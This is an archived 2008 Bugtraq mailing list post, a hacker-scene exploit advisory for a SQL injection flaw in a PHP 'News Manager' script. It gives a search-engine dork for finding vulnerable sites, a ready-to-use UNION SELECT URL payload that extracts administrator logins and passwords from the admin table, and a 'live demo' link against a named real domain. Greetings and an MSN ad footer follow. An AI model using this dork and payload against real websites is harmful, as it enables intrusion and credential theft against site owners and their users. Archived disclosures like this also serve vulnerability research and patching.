bugtraq - News Manager Remote SQL Injection Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Thu, 9 Oct 2008 12:21:25 +0300
From: Ghost hacker <ghost-r00t@...mail.com>
To: ستروك <submit@...w0rm.com>,
	السيكروتي فوكس <bugtraq@...urityfocus.com>
Subject: News Manager Remote SQL Injection Vulnerability


####################################################################################################
# News Manager Remote SQL Injection Vulnerability                                                  #
# © Ghost Hacker , Real Hack Back :)                                                               #
####################################################################################################
#[~] Author : Ghost Hacker                                                                         #
#[~] Home page : www.Real-h.com  [Real Hack Back]                                                  #
#[~] Contact Me : Ghost-r00t@...mail.com                                                           #
#[~] Bug : SQL Injection                                                                           #
#[~] From : Kingdom Saudi Arabia                                                                   #
#[~] Name Script : News Manager                                                                    #
#[~] Download : http://www.preprojects.com/news.asp                                                #
####################################################################################################
#[~] Dork :                                                                                        #
# ©2006 PRE NEWS MANAGER | All Rights Reserved Or inurl:news_detail.php?nid=                       #
#[~] Exploit :                                                                                     #
# http://xxxx/news_detail.php?nid=-139+UNION+SELECT+1,2,concat(login,0x3a,password),3,5,6,7+from+admin--
#[~] live demo :                                                                                   #
# http://www.preproject.com/news manager/news_detail.php?nid=-139+UNION+SELECT+1,2,concat(login,0x3a,password),3,5,6,7+from+admin--
####################################################################################################
#[~]Greets :                                                                                       #
# Mr.SQL , Mr.SaFa7 , Mr-3sheq , aBo3tB , Night Mare , Root Hacker , Dmar al3noOoz , L&J TeaM      #
# Mr.MN7oS , Mr.Hope , EgYpTiaN x HaCkEr , PrO SpY , v4-team.com                                   #
# All Members Real Hack , All My Friends :)                                                        #
####################################################################################################
# Viva Real Hack - Real-h.com ..                                                                   #
####################################################################################################
_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE!
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/